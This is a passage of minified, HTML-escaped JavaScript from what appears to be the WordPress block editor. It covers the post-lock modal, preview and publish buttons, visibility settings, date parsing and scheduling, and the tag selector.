editor&quot;);return(0,Kt.jsx)(aa.Modal,{title:a?(0,ko.__)(&quot;Someone else has taken over this post&quot;):(0,ko.__)(&quot;This post is already being edited&quot;),focusOnMount:!0,shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,isDismissible:!1,className:&quot;editor-post-locked-modal&quot;,size:&quot;medium&quot;,children:(0,Kt.jsxs)(aa.__experimentalHStack,{alignment:&quot;top&quot;,spacing:6,children:[!!g&amp;&amp;(0,Kt.jsx)(&quot;img&quot;,{src:g,alt:(0,ko.__)(&quot;Avatar&quot;),className:&quot;editor-post-locked-modal__avatar&quot;,width:64,height:64}),(0,Kt.jsxs)(&quot;div&quot;,{children:[!!a&amp;&amp;(0,Kt.jsxs)(Kt.Fragment,{children:[(0,Kt.jsx)(&quot;p&quot;,{children:(0,l0.createInterpolateElement)(h?(0,ko.sprintf)((0,ko.__)(&quot;&lt;strong&gt;%s&lt;/strong&gt; now has editing control of this post (&lt;PreviewLink /&gt;). Don\u2019t worry, your changes up to this moment have been saved.&quot;),h):(0,ko.__)(&quot;Another user now has editing control of this post (&lt;PreviewLink /&gt;). Don\u2019t worry, your changes up to this moment have been saved.&quot;),{strong:(0,Kt.jsx)(&quot;strong&quot;,{}),PreviewLink:(0,Kt.jsx)(aa.ExternalLink,{href:m,children:(0,ko.__)(&quot;preview&quot;)})})}),(0,Kt.jsx)(ZZ,{})]}),!a&amp;&amp;(0,Kt.jsxs)(Kt.Fragment,{children:[(0,Kt.jsx)(&quot;p&quot;,{children:(0,l0.createInterpolateElement)(h?(0,ko.sprintf)((0,ko.__)(&quot;&lt;strong&gt;%s&lt;/strong&gt; is currently working on this post (&lt;PreviewLink /&gt;), which means you cannot make changes, unless you take over.&quot;),h):(0,ko.__)(&quot;Another user is currently working on this post (&lt;PreviewLink /&gt;), which means you cannot make changes, unless you take over.&quot;),{strong:(0,Kt.jsx)(&quot;strong&quot;,{}),PreviewLink:(0,Kt.jsx)(aa.ExternalLink,{href:m,children:(0,ko.__)(&quot;preview&quot;)})})}),(0,Kt.jsx)(ZZ,{}),(0,Kt.jsx)(&quot;p&quot;,{children:(0,ko.__)(&quot;If you take over, the other user will lose editing control to the post, but their changes will be saved.&quot;)})]}),(0,Kt.jsxs)(aa.__experimentalHStack,{className:&quot;editor-post-locked-modal__buttons&quot;,justify:&quot;flex-end&quot;,children:[!a&amp;&amp;(0,Kt.jsx)(aa.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,href:v,children:(0,ko.__)(&quot;Take over&quot;)}),(0,Kt.jsx)(aa.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,href:y,children:b})]})]})]})})}var QZ=XZ;var $Z=s(E(),1),eK=s(A(),1),NT=s(O(),1);var JZ=s(O(),1);function vCe({children:e}){let{hasPublishAction:t,isPublished:r}=(0,JZ.useSelect)(o=&gt;{let{isCurrentPostPublished:n,getCurrentPost:i}=o(w);return{hasPublishAction:i()._links?.[&quot;wp:action-publish&quot;]??!1,isPublished:n()}},[]);return r||!t?null:e}var IT=vCe;var $3=s(C(),1);function yCe(){let e=(0,NT.useSelect)(o=&gt;o(w).getEditedPostAttribute(&quot;status&quot;),[]),{editPost:t}=(0,NT.useDispatch)(w),r=()=&gt;{t({status:e===&quot;pending&quot;?&quot;draft&quot;:&quot;pending&quot;})};return(0,$3.jsx)(IT,{children:(0,$3.jsx)(eK.CheckboxControl,{label:(0,$Z.__)(&quot;Pending review&quot;),checked:e===&quot;pending&quot;,onChange:r})})}var tK=yCe;var rK=s(D(),1),xc=s(A(),1),Jh=s(E(),1),FT=s(O(),1),oK=s(mo(),1),nK=s(W(),1);var vs=s(C(),1);function bCe(e){let t=(0,rK.renderToString)((0,vs.jsxs)(&quot;div&quot;,{className:&quot;editor-post-preview-button__interstitial-message&quot;,children:[(0,vs.jsxs)(xc.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 96 96&quot;,children:[(0,vs.jsx)(xc.Path,{className:&quot;outer&quot;,d:&quot;M48 12c19.9 0 36 16.1 36 36S67.9 84 48 84 12 67.9 12 48s16.1-36 36-36&quot;,fill:&quot;none&quot;}),(0,vs.jsx)(xc.Path,{className:&quot;inner&quot;,d:&quot;M69.5 46.4c0-3.9-1.4-6.7-2.6-8.8-1.6-2.6-3.1-4.9-3.1-7.5 0-2.9 2.2-5.7 5.4-5.7h.4C63.9 19.2 56.4 16 48 16c-11.2 0-21 5.7-26.7 14.4h2.1c3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3L40 67.5l7-20.9L42 33c-1.7-.1-3.3-.3-3.3-.3-1.7-.1-1.5-2.7.2-2.6 0 0 5.3.4 8.4.4 3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3l11.5 34.3 3.3-10.4c1.6-4.5 2.4-7.8 2.4-10.5zM16.1 48c0 12.6 7.3 23.5 18 28.7L18.8 35c-1.7 4-2.7 8.4-2.7 13zm32.5 2.8L39 78.6c2.9.8 5.9 1.3 9 1.3 3.7 0 7.3-.6 10.6-1.8-.1-.1-.2-.3-.2-.4l-9.8-26.9zM76.2 36c0 3.2-.6 6.9-2.4 11.4L64 75.6c9.5-5.5 15.9-15.8 15.9-27.6 0-5.5-1.4-10.8-3.9-15.3.1 1 .2 2.1.2 3.3z&quot;,fill:&quot;none&quot;})]}),(0,vs.jsx)(&quot;p&quot;,{children:(0,Jh.__)(&quot;Generating preview\u2026&quot;)})]}));t+=`
		&lt;style&gt;
			body {
				margin: 0;
			}
			.editor-post-preview-button__interstitial-message {
				display: flex;
				flex-direction: column;
				align-items: center;
				justify-content: center;
				height: 100vh;
				width: 100vw;
			}
			@-webkit-keyframes paint {
				0% {
					stroke-dashoffset: 0;
				}
			}
			@-moz-keyframes paint {
				0% {
					stroke-dashoffset: 0;
				}
			}
			@-o-keyframes paint {
				0% {
					stroke-dashoffset: 0;
				}
			}
			@keyframes paint {
				0% {
					stroke-dashoffset: 0;
				}
			}
			.editor-post-preview-button__interstitial-message svg {
				width: 192px;
				height: 192px;
				stroke: #555d66;
				stroke-width: 0.75;
			}
			.editor-post-preview-button__interstitial-message svg .outer,
			.editor-post-preview-button__interstitial-message svg .inner {
				stroke-dasharray: 280;
				stroke-dashoffset: 280;
				-webkit-animation: paint 1.5s ease infinite alternate;
				-moz-animation: paint 1.5s ease infinite alternate;
				-o-animation: paint 1.5s ease infinite alternate;
				animation: paint 1.5s ease infinite alternate;
			}
			p {
				text-align: center;
				font-family: -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, Oxygen-Sans, Ubuntu, Cantarell, &quot;Helvetica Neue&quot;, sans-serif;
			}
		&lt;/style&gt;
	`,t=(0,oK.applyFilters)(&quot;editor.PostPreview.interstitialMarkup&quot;,t),e.write(t),e.title=(0,Jh.__)(&quot;Generating preview\u2026&quot;),e.close()}function od({className:e,textContent:t,forceIsAutosaveable:r,role:o,onPreview:n}){let{postId:i,currentPostLink:a,previewLink:l,isSaveable:c,isViewable:u}=(0,FT.useSelect)(g=&gt;{let v=g(w),_=g(nK.store).getPostType(v.getCurrentPostType(&quot;type&quot;))?.viewable??!1;return _?{postId:v.getCurrentPostId(),currentPostLink:v.getCurrentPostAttribute(&quot;link&quot;),previewLink:v.getEditedPostPreviewLink(),isSaveable:v.isEditedPostSaveable(),isViewable:_}:{isViewable:_}},[]),{__unstableSaveForPreview:d}=(0,FT.useDispatch)(w);if(!u)return null;let f=`wp-preview-${i}`;return(0,vs.jsx)(xc.Button,{variant:e?void 0:&quot;tertiary&quot;,className:e||&quot;editor-post-preview&quot;,href:l||a,target:f,accessibleWhenDisabled:!0,disabled:!c,onClick:async g=&gt;{g.preventDefault();let v=window.open(&quot;&quot;,f);v.focus(),bCe(v.document);let y=await d({forceIsAutosaveable:r});v.location=y,n?.()},role:o,size:&quot;compact&quot;,children:t||(0,vs.jsxs)(vs.Fragment,{children:[(0,Jh._x)(&quot;Preview&quot;,&quot;imperative verb&quot;),(0,vs.jsx)(xc.VisuallyHidden,{as:&quot;span&quot;,children:(0,Jh.__)(&quot;(opens in a new tab)&quot;)})]})})}var lK=s(A(),1),cK=s(D(),1),BT=s(O(),1),uK=s(he(),1);var Cc=s(E(),1),iK=s(O(),1),sK=s(he(),1);function DT(){let e=(0,sK.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),{isPublished:t,isBeingScheduled:r,isSaving:o,isPublishing:n,hasPublishAction:i,isAutosaving:a,hasNonPostEntityChanges:l,postStatusHasChanged:c,postStatus:u,postType:d}=(0,iK.useSelect)(f=&gt;{let{isCurrentPostPublished:m,isEditedPostBeingScheduled:h,isSavingPost:g,isPublishingPost:v,getCurrentPost:y,getCurrentPostType:b,isAutosavingPost:_,getPostEdits:S,getEditedPostAttribute:x}=f(w);return{isPublished:m(),isBeingScheduled:h(),isSaving:g(),isPublishing:v(),hasPublishAction:y()._links?.[&quot;wp:action-publish&quot;]??!1,postType:b(),isAutosaving:_(),hasNonPostEntityChanges:f(w).hasNonPostEntityChanges(),postStatusHasChanged:!!S()?.status,postStatus:x(&quot;status&quot;)}},[]);return n?(0,Cc.__)(&quot;Publishing\u2026&quot;):(t||r)&amp;&amp;o&amp;&amp;!a?(0,Cc.__)(&quot;Saving\u2026&quot;):i?l||t||c&amp;&amp;![&quot;future&quot;,&quot;publish&quot;].includes(u)||!c&amp;&amp;u===&quot;future&quot;?(0,Cc.__)(&quot;Save&quot;):r?(0,Cc.__)(&quot;Schedule&quot;):(0,Cc.__)(&quot;Publish&quot;):d===ur&amp;&amp;window?.__experimentalMediaEditor?(0,Cc.__)(&quot;Save&quot;):e?(0,Cc.__)(&quot;Publish&quot;):(0,Cc.__)(&quot;Submit for Review&quot;)}var $h=s(C(),1),aK=()=&gt;{},SCe=class extends cK.Component{constructor(e){super(e),this.createOnClick=this.createOnClick.bind(this),this.closeEntitiesSavedStates=this.closeEntitiesSavedStates.bind(this),this.state={entitiesSavedStatesCallback:!1}}createOnClick(e){return(...t)=&gt;{let{hasNonPostEntityChanges:r,setEntitiesSavedStatesCallback:o}=this.props;return r&amp;&amp;o?(this.setState({entitiesSavedStatesCallback:()=&gt;e(...t)}),o(()=&gt;this.closeEntitiesSavedStates),aK):e(...t)}}closeEntitiesSavedStates(e){let{postType:t,postId:r}=this.props,{entitiesSavedStatesCallback:o}=this.state;this.setState({entitiesSavedStatesCallback:!1},()=&gt;{e&amp;&amp;e.some(n=&gt;n.kind===&quot;postType&quot;&amp;&amp;n.name===t&amp;&amp;n.key===r)&amp;&amp;o()})}render(){let{forceIsDirty:e,hasPublishAction:t,isBeingScheduled:r,isOpen:o,isPostSavingLocked:n,isPublishable:i,isPublished:a,isSaveable:l,isSaving:c,isAutoSaving:u,isToggle:d,savePostStatus:f,onSubmit:m=aK,onToggle:h,visibility:g,hasNonPostEntityChanges:v,isSavingNonPostEntityChanges:y,postStatus:b,postStatusHasChanged:_}=this.props,S=(c||!l||n||!i&amp;&amp;!e)&amp;&amp;(!v||y),x=(a||c||!l||!i&amp;&amp;!e)&amp;&amp;(!v||y),T=&quot;publish&quot;;_?T=b:t?g===&quot;private&quot;?T=&quot;private&quot;:r&amp;&amp;(T=&quot;future&quot;):T=&quot;pending&quot;;let R=()=&gt;{S||(m(),f(T))},F=()=&gt;{x||h()},B={&quot;aria-disabled&quot;:S,className:&quot;editor-post-publish-button&quot;,isBusy:!u&amp;&amp;c,variant:&quot;primary&quot;,onClick:this.createOnClick(R),&quot;aria-haspopup&quot;:v?&quot;dialog&quot;:void 0},z={&quot;aria-disabled&quot;:x,&quot;aria-expanded&quot;:o,className:&quot;editor-post-publish-panel__toggle&quot;,isBusy:c&amp;&amp;a,variant:&quot;primary&quot;,size:&quot;compact&quot;,onClick:this.createOnClick(F),&quot;aria-haspopup&quot;:v?&quot;dialog&quot;:void 0},L=d?z:B;return(0,$h.jsx)($h.Fragment,{children:(0,$h.jsx)(lK.Button,{...L,className:`${L.className} editor-post-publish-button__button`,size:&quot;compact&quot;,children:(0,$h.jsx)(DT,{})})})}},eg=(0,uK.compose)([(0,BT.withSelect)(e=&gt;{let{isSavingPost:t,isAutosavingPost:r,isEditedPostBeingScheduled:o,getEditedPostVisibility:n,isCurrentPostPublished:i,isEditedPostSaveable:a,isEditedPostPublishable:l,isPostSavingLocked:c,getCurrentPost:u,getCurrentPostType:d,getCurrentPostId:f,hasNonPostEntityChanges:m,isSavingNonPostEntityChanges:h,getEditedPostAttribute:g,getPostEdits:v}=e(w);return{isSaving:t(),isAutoSaving:r(),isBeingScheduled:o(),visibility:n(),isSaveable:a(),isPostSavingLocked:c(),isPublishable:l(),isPublished:i(),hasPublishAction:u()._links?.[&quot;wp:action-publish&quot;]??!1,postType:d(),postId:f(),postStatus:g(&quot;status&quot;),postStatusHasChanged:v()?.status,hasNonPostEntityChanges:m(),isSavingNonPostEntityChanges:h()}}),(0,BT.withDispatch)(e=&gt;{let{editPost:t,savePost:r}=e(w);return{savePostStatus:o=&gt;{t({status:o},{undoIgnore:!0}),r()}}})])(SCe);var eP=s(E(),1),tP=s(D(),1),ua=s(A(),1),rP=s(O(),1),fX=s(he(),1);var mX=s(W(),1);var la=s(E(),1),v0=s(A(),1),eX=s(O(),1);var tX=s(Ir(),1),rX=s(W(),1),oX=s(ft(),1);var tg=s(E(),1),dK=s(D(),1),rg=s(A(),1),fK=s(he(),1),LT=s(O(),1),mK=s($(),1);var mm=s(E(),1),MT=[{label:(0,mm.__)(&quot;Public&quot;),value:&quot;public&quot;,description:(0,mm.__)(&quot;Visible to everyone.&quot;)},{label:(0,mm.__)(&quot;Private&quot;),value:&quot;private&quot;,description:(0,mm.__)(&quot;Only visible to site admins and editors.&quot;)},{label:(0,mm.__)(&quot;Password protected&quot;),value:&quot;password&quot;,description:(0,mm.__)(&quot;Only visible to those who know the password.&quot;)}];var pm=s(C(),1);function u0({onClose:e}){let t=(0,fK.useInstanceId)(u0),{status:r,visibility:o,password:n}=(0,LT.useSelect)(d=&gt;({status:d(w).getEditedPostAttribute(&quot;status&quot;),visibility:d(w).getEditedPostVisibility(),password:d(w).getEditedPostAttribute(&quot;password&quot;)})),{editPost:i}=(0,LT.useDispatch)(w),[a,l]=(0,dK.useState)(!!n);function c(d){i({public:{status:o===&quot;private&quot;?&quot;draft&quot;:r,password:&quot;&quot;},private:{status:&quot;private&quot;,password:&quot;&quot;},password:{status:o===&quot;private&quot;?&quot;draft&quot;:r,password:n||&quot;&quot;}}[d]),l(d===&quot;password&quot;)}let u=d=&gt;{i({password:d})};return(0,pm.jsxs)(&quot;div&quot;,{className:&quot;editor-post-visibility&quot;,children:[(0,pm.jsx)(mK.__experimentalInspectorPopoverHeader,{title:(0,tg.__)(&quot;Visibility&quot;),help:(0,tg.__)(&quot;Control how this post is viewed.&quot;),onClose:e}),(0,pm.jsxs)(rg.__experimentalVStack,{spacing:4,children:[(0,pm.jsx)(rg.RadioControl,{label:(0,tg.__)(&quot;Visibility&quot;),hideLabelFromVision:!0,options:MT,selected:a?&quot;password&quot;:o,onChange:c}),a&amp;&amp;(0,pm.jsx)(rg.TextControl,{label:(0,tg.__)(&quot;Password&quot;),onChange:u,value:n,placeholder:(0,tg.__)(&quot;Use a secure password&quot;),type:&quot;text&quot;,id:`editor-post-visibility__password-input-${t}`,__next40pxDefaultSize:!0,maxLength:255})]})]})}var pK=s(O(),1);function VT(){return e4()}function e4(){let e=(0,pK.useSelect)(t=&gt;t(w).getEditedPostVisibility(),[]);return MT.find(t=&gt;t.value===e)?.label}function jT(e){let t=Object.prototype.toString.call(e);return e instanceof Date||typeof e==&quot;object&quot;&amp;&amp;t===&quot;[object Date]&quot;?new e.constructor(+e):typeof e==&quot;number&quot;||t===&quot;[object Number]&quot;||typeof e==&quot;string&quot;||t===&quot;[object String]&quot;?new Date(e):new Date(NaN)}var _Ce=Math.pow(10,8)*24*60*60*1e3,d$e=-_Ce;var t4=6e4,r4=36e5;var wCe=3600;var hK=wCe*24,f$e=hK*7,xCe=hK*365.2425,CCe=xCe/12,m$e=CCe*3;function gK(e){let t=jT(e),r=t.getMonth();return t.setFullYear(t.getFullYear(),r+1,0),t.setHours(23,59,59,999),t}function o4(e){let t=jT(e);return t.setDate(1),t.setHours(0,0,0,0),t}function vK(e,t){let r=t?.additionalDigits??2,o=ECe(e),n;if(o.date){let c=RCe(o.date,r);n=ACe(c.restDateString,c.year)}if(!n||isNaN(n.getTime()))return new Date(NaN);let i=n.getTime(),a=0,l;if(o.time&amp;&amp;(a=OCe(o.time),isNaN(a)))return new Date(NaN);if(o.timezone){if(l=ICe(o.timezone),isNaN(l))return new Date(NaN)}else{let c=new Date(i+a),u=new Date(0);return u.setFullYear(c.getUTCFullYear(),c.getUTCMonth(),c.getUTCDate()),u.setHours(c.getUTCHours(),c.getUTCMinutes(),c.getUTCSeconds(),c.getUTCMilliseconds()),u}return new Date(i+a+l)}var zT={dateTimeDelimiter:/[T ]/,timeZoneDelimiter:/[Z ]/i,timezone:/([Z+-].*)$/},TCe=/^-?(?:(\d{3})|(\d{2})(?:-?(\d{2}))?|W(\d{2})(?:-?(\d{1}))?|)$/,PCe=/^(\d{2}(?:[.,]\d*)?)(?::?(\d{2}(?:[.,]\d*)?))?(?::?(\d{2}(?:[.,]\d*)?))?$/,kCe=/^([+-])(\d{2})(?::?(\d{2}))?$/;function ECe(e){let t={},r=e.split(zT.dateTimeDelimiter),o;if(r.length&gt;2)return t;if(/:/.test(r[0])?o=r[0]:(t.date=r[0],o=r[1],zT.timeZoneDelimiter.test(t.date)&amp;&amp;(t.date=e.split(zT.timeZoneDelimiter)[0],o=e.substr(t.date.length,e.length))),o){let n=zT.timezone.exec(o);n?(t.time=o.replace(n[1],&quot;&quot;),t.timezone=n[1]):t.time=o}return t}function RCe(e,t){let r=new RegExp(&quot;^(?:(\\d{4}|[+-]\\d{&quot;+(4+t)+&quot;})|(\\d{2}|[+-]\\d{&quot;+(2+t)+&quot;})$)&quot;),o=e.match(r);if(!o)return{year:NaN,restDateString:&quot;&quot;};let n=o[1]?parseInt(o[1]):null,i=o[2]?parseInt(o[2]):null;return{year:i===null?n:i*100,restDateString:e.slice((o[1]||o[2]).length)}}function ACe(e,t){if(t===null)return new Date(NaN);let r=e.match(TCe);if(!r)return new Date(NaN);let o=!!r[4],n=d0(r[1]),i=d0(r[2])-1,a=d0(r[3]),l=d0(r[4]),c=d0(r[5])-1;if(o)return MCe(t,l,c)?NCe(t,l,c):new Date(NaN);{let u=new Date(0);return!DCe(t,i,a)||!BCe(t,n)?new Date(NaN):(u.setUTCFullYear(t,i,Math.max(n,a)),u)}}function d0(e){return e?parseInt(e):1}function OCe(e){let t=e.match(PCe);if(!t)return NaN;let r=n4(t[1]),o=n4(t[2]),n=n4(t[3]);return LCe(r,o,n)?r*r4+o*t4+n*1e3:NaN}function n4(e){return e&amp;&amp;parseFloat(e.replace(&quot;,&quot;,&quot;.&quot;))||0}function ICe(e){if(e===&quot;Z&quot;)return 0;let t=e.match(kCe);if(!t)return 0;let r=t[1]===&quot;+&quot;?-1:1,o=parseInt(t[2]),n=t[3]&amp;&amp;parseInt(t[3])||0;return VCe(o,n)?r*(o*r4+n*t4):NaN}function NCe(e,t,r){let o=new Date(0);o.setUTCFullYear(e,0,4);let n=o.getUTCDay()||7,i=(t-1)*7+r+1-n;return o.setUTCDate(o.getUTCDate()+i),o}var FCe=[31,null,31,30,31,30,31,31,30,31,30,31];function yK(e){return e%400===0||e%4===0&amp;&amp;e%100!==0}function DCe(e,t,r){return t&gt;=0&amp;&amp;t&lt;=11&amp;&amp;r&gt;=1&amp;&amp;r&lt;=(FCe[t]||(yK(e)?29:28))}function BCe(e,t){return t&gt;=1&amp;&amp;t&lt;=(yK(e)?366:365)}function MCe(e,t,r){return t&gt;=1&amp;&amp;t&lt;=53&amp;&amp;r&gt;=0&amp;&amp;r&lt;=6}function LCe(e,t,r){return e===24?t===0&amp;&amp;r===0:r&gt;=0&amp;&amp;r&lt;60&amp;&amp;t&gt;=0&amp;&amp;t&lt;60&amp;&amp;e&gt;=0&amp;&amp;e&lt;25}function VCe(e,t){return t&gt;=0&amp;&amp;t&lt;=59}var bK=s(po(),1),SK=s(E(),1),f0=s(O(),1),_K=s($(),1),UT=s(D(),1),wK=s(W(),1);var i4=s(C(),1),{PrivatePublishDateTimePicker:jCe}=N(_K.privateApis);function og(e){return(0,i4.jsx)(s4,{...e,showPopoverHeaderActions:!0,isCompact:!1})}function s4({onClose:e,showPopoverHeaderActions:t,isCompact:r}){let{postDate:o,postType:n}=(0,f0.useSelect)(h=&gt;({postDate:h(w).getEditedPostAttribute(&quot;date&quot;),postType:h(w).getCurrentPostType()}),[]),{editPost:i}=(0,f0.useDispatch)(w),a=h=&gt;i({date:h}),[l,c]=(0,UT.useState)(o4(new Date(o))),u=(0,f0.useSelect)(h=&gt;h(wK.store).getEntityRecords(&quot;postType&quot;,n,{status:&quot;publish,future&quot;,after:o4(l).toISOString(),before:gK(l).toISOString(),exclude:[h(w).getCurrentPostId()],per_page:100,_fields:&quot;id,date&quot;}),[l,n]),d=(0,UT.useMemo)(()=&gt;(u||[]).map(({date:h})=&gt;({date:new Date(h)})),[u]),f=(0,bK.getSettings)(),m=/a(?!\\)/i.test(f.formats.time.toLowerCase().replace(/\\\\/g,&quot;&quot;).split(&quot;&quot;).reverse().join(&quot;&quot;));return(0,i4.jsx)(jCe,{currentDate:o,onChange:a,is12Hour:m,dateOrder:(0,SK._x)(&quot;dmy&quot;,&quot;date order&quot;),events:d,onMonthPreviewed:h=&gt;c(vK(h)),onClose:e,isCompact:r,showPopoverHeaderActions:t})}var Ln=s(E(),1),ys=s(po(),1),CK=s(O(),1);function ng(e){return ig(e)}function ig({full:e=!1}={}){let{date:t,isFloating:r}=(0,CK.useSelect)(o=&gt;({date:o(w).getEditedPostAttribute(&quot;date&quot;),isFloating:o(w).isEditedPostDateFloating()}),[]);return e?TK(t):zCe(t,{isFloating:r})}function TK(e){let t=(0,ys.getDate)(e),r=UCe(),o=(0,ys.dateI18n)((0,Ln._x)(&quot;F j, Y g:i\xA0a&quot;,&quot;post schedule full date format&quot;),t);return(0,Ln.isRTL)()?`${r} ${o}`:`${o} ${r}`}function zCe(e,{isFloating:t=!1,now:r=new Date}={}){if(!e||t)return(0,Ln.__)(&quot;Immediately&quot;);if(!HCe(r))return TK(e);let o=(0,ys.getDate)(e);if(xK(o,r))return(0,Ln.sprintf)((0,Ln.__)(&quot;Today at %s&quot;),(0,ys.dateI18n)((0,Ln._x)(&quot;g:i\xA0a&quot;,&quot;post schedule time format&quot;),o));let n=new Date(r);return n.setDate(n.getDate()+1),xK(o,n)?(0,Ln.sprintf)((0,Ln.__)(&quot;Tomorrow at %s&quot;),(0,ys.dateI18n)((0,Ln._x)(&quot;g:i\xA0a&quot;,&quot;post schedule time format&quot;),o)):o.getFullYear()===r.getFullYear()?(0,ys.dateI18n)((0,Ln._x)(&quot;F j g:i\xA0a&quot;,&quot;post schedule date format without year&quot;),o):(0,ys.dateI18n)((0,Ln._x)(&quot;F j, Y g:i\xA0a&quot;,&quot;post schedule full date format&quot;),o)}function UCe(){let{timezone:e}=(0,ys.getSettings)();return e.abbr&amp;&amp;isNaN(Number(e.abbr))?e.abbr:`UTC${e.offset&lt;0?&quot;&quot;:&quot;+&quot;}${e.offsetFormatted}`}function HCe(e){let{timezone:t}=(0,ys.getSettings)(),r=Number(t.offset),o=-1*(e.getTimezoneOffset()/60);return r===o}function xK(e,t){return e.getDate()===t.getDate()&amp;&amp;e.getMonth()===t.getMonth()&amp;&amp;e.getFullYear()===t.getFullYear()}var ym=s(E(),1),DK=s(D(),1),u4=s(O(),1),BK=s(A(),1),YT=s(W(),1);var Uo=s(E(),1),vm=s(D(),1),sg=s(A(),1),gm=s(O(),1),GT=s(W(),1),AK=s(he(),1),OK=s(Xm(),1),IK=s(ct(),1);var HT=s(A(),1),PK=s(O(),1),kK=s(W(),1);var hm=s(C(),1),GCe=3,WCe={per_page:10,orderby:&quot;count&quot;,order:&quot;desc&quot;,hide_empty:!0,_fields:&quot;id,name,count&quot;,context:&quot;view&quot;};function EK({onSelect:e,taxonomy:t}){let{_terms:r,showTerms:o}=(0,PK.useSelect)(i=&gt;{let a=i(kK.store).getEntityRecords(&quot;taxonomy&quot;,t.slug,WCe);return{_terms:a,showTerms:a?.length&gt;=GCe}},[t.slug]);if(!o)return null;let n=IY(r);return(0,hm.jsxs)(&quot;div&quot;,{className:&quot;editor-post-taxonomies__flat-term-most-used&quot;,children:[(0,hm.jsx)(HT.BaseControl.VisualLabel,{as:&quot;h3&quot;,className:&quot;editor-post-taxonomies__flat-term-most-used-label&quot;,children:t.labels.most_used}),(0,hm.jsx)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;editor-post-taxonomies__flat-term-most-used-list&quot;,children:n.map(i=&gt;(0,hm.jsx)(&quot;li&quot;,{children:(0,hm.jsx)(HT.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;e(i),children:i.name})},i.id))})]})}var m0=s(C(),1),a4=[],NK=100,RK={per_page:NK,_fields:&quot;id,name&quot;,context:&quot;view&quot;},FK=(e,t)=&gt;Bh(e).toLowerCase()===Bh(t).toLowerCase(),l4=(e,t)=&gt;e.map(r=&gt;t.find(o=&gt;FK(o.name,r))?.id).filter(r=&gt;r!==void 0);function c4({slug:e}){let[t,r]=(0,vm.useState)([]),[o,n]=(0,vm.useState)(&quot;&quot;),i=(0,AK.useDebounce)(n,500),{terms:a,termIds:l,taxonomy:c,hasAssignAction:u,hasCreateAction:d,hasResolvedTerms:f}=(0,gm.useSelect)(L=&gt;{let{getCurrentPost:M,getEditedPostAttribute:k}=L(w),{getEntityRecords:I,getEntityRecord:U,hasFinishedResolution:G}=L(GT.store),Y=M(),Z=U(&quot;root&quot;,&quot;taxonomy&quot;,e),V=Z?k(Z.rest_base):a4,j={...RK,include:V?.join(&quot;,&quot;),per_page:-1};return{hasCreateAction:Z?Y._links?.[&quot;wp:action-create-&quot;+Z.rest_base]??!1:!1,hasAssignAction:Z?Y._links?.[&quot;wp:action-assign-&quot;+Z.rest_base]??!1:!1,taxonomy:Z,termIds:V,terms:V?.length?I(&quot;taxonomy&quot;,e,j):a4,hasResolvedTerms:G(&quot;getEntityRecords&quot;,[&quot;taxonomy&quot;,e,j])}},[e]),{searchResults:m}=(0,gm.useSelect)(L=&gt;{let{getEntityRecords:M}=L(GT.store);return{searchResults:o?M(&quot;taxonomy&quot;,e,{...RK,search:o}):a4}},[o,e]);(0,vm.useEffect)(()=&gt;{if(f){let L=(a??[]).map(M=&gt;Bh(M.name));r(L)}},[a,f]);let h=(0,vm.useMemo)(()=&gt;(m??[]).map(L=&gt;Bh(L.name)),[m]),{editPost:g}=(0,gm.useDispatch)(w),{saveEntityRecord:v}=(0,gm.useDispatch)(GT.store),{createErrorNotice:y}=(0,gm.useDispatch)(IK.store);if(!u)return null;async function b(L){try{let M=await v(&quot;taxonomy&quot;,e,L,{throwOnError:!0});return C3(M)}catch(M){if(M.code!==&quot;term_exists&quot;)throw M;return{id:M.data.term_id,name:L.name}}}function _(L){g({[c.rest_base]:L})}function S(L){let M=[...a??[],...m??[]],k=L.reduce((U,G)=&gt;(U.some(Y=&gt;Y.toLowerCase()===G.toLowerCase())||U.push(G),U),[]),I=k.filter(U=&gt;!M.find(G=&gt;FK(G.name,U)));if(r(k),I.length===0){_(l4(k,M));return}d&amp;&amp;Promise.all(I.map(U=&gt;b({name:U}))).then(U=&gt;{let G=M.concat(U);_(l4(k,G))}).catch(U=&gt;{y(U.message,{type:&quot;snackbar&quot;}),_(l4(k,M))})}function x(L){if(l.includes(L.id))return;let M=[...l,L.id],k=e===&quot;post_tag&quot;?(0,Uo.__)(&quot;Tag&quot;):(0,Uo.__)(&quot;Term&quot;),I=(0,Uo.sprintf)((0,Uo._x)(&quot;%s added&quot;,&quot;term&quot;),c?.labels?.singular_name??k);(0,OK.speak)(I,&quot;assertive&quot;),_(M)}let T=c?.labels?.add_new_item??(e===&quot;post_tag&quot;?(0,Uo.__)(&quot;Add Tag&quot;):(0,Uo.__)(&quot;Add Term&quot;)),R=c?.labels?.singular_name??(e===&quot;post_tag&quot;?(0,Uo.__)(&quot;Tag&quot;):(0,Uo.__)(&quot;Term&quot;)),F=(0,Uo.sprintf)((0,Uo._x)(&quot;%s added&quot;,&quot;term&quot;),R),B=(0,Uo.sprintf)((0,Uo._x)(&quot;%s removed&quot;,&quot;term&quot;),R),z=(0,Uo.sprintf)((0,Uo._x)(&quot;Remove %s&quot;,&quot;term&quot;),R);return(0,m0.jsxs)(sg.__experimentalVStack,{spacing:4,children:[(0,m0.jsx)(sg.FormTokenField,{__next40pxDefaultSize:!0,value:t,suggestions:h,onChange:S,onInputChange:i,maxSuggestions:NK,label:T,messages:{added:F,removed:B,remove:z}}),(0,m0.jsx)(EK,{taxonomy:c,onSelect:x})]})}var WT=(0,sg.withFilters)(&quot;editor.PostTaxonomyType&quot;)(c4);var bm=s(C(),1),YCe=()=&gt;{let e=(0,u4.useSelect)(n=&gt;n(YT.store).getTaxonomy(&quot;post_tag&quot;)?.labels,[]),t=e?.add_new_item??(0,ym.__)(&quot;Add 